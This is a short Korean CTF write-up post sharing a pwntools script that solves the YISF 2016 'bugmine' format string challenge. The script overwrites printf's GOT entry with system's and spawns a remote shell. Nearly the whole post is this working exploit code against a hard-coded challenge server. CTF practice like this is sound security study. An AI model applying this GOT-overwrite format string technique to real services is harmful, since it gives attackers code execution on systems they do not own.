cdor1's lab
YISF 2016 bugmine 본문
후기 : 우분투 정리하다가 예~전에 YISF예선에서 풀었던 100점짜리 문제를 찾아서 올린다.
지뢰찾기를 모티브로한 FSB문제였다.
from pwn import *
s = remote('112.166.114.136',38961)
payload = ""
payload += p32(0x0804c012) # printf_got 2
payload += p32(0x0804c010) # printf_got 1
payload += "%"+"2044"+"c"+"%3$hn"+"%"+"32140"+"c"+"%4$hn"
payload += ";/bin/sh" # get shell after FSB
print s.recvuntil('$')
s.sendline('1')
print s.recvuntil('$')
s.sendline('1')
for i in range (0,5): # Go to register routine
print s.recvuntil('$')
s.sendline('1')
print s.recvuntil('$')
s.sendline('3 3')
sleep(0.2)
print s.recvuntil(':')
s.sendline(payload) # send Payload
s.recvline('$')
s.sendline('2') # FSB printf_got -> system_plt
s.recvline('$')
s.sendline('2') # system("/bin/sh")
s.interactive() # Enjoy :)
'Security > Pwnable' 카테고리의 다른 글
Plaid CTF 2013 ropasaurusrex (4) | 2017.02.16 |
---|---|
BCTF ruin (0) | 2017.02.15 |
pwnable.kr brain fuck (0) | 2017.02.15 |
MMA CTF 2nd 2016 shadow (0) | 2017.02.14 |
openCTF 2016 tyro_heap (0) | 2017.02.14 |
Comments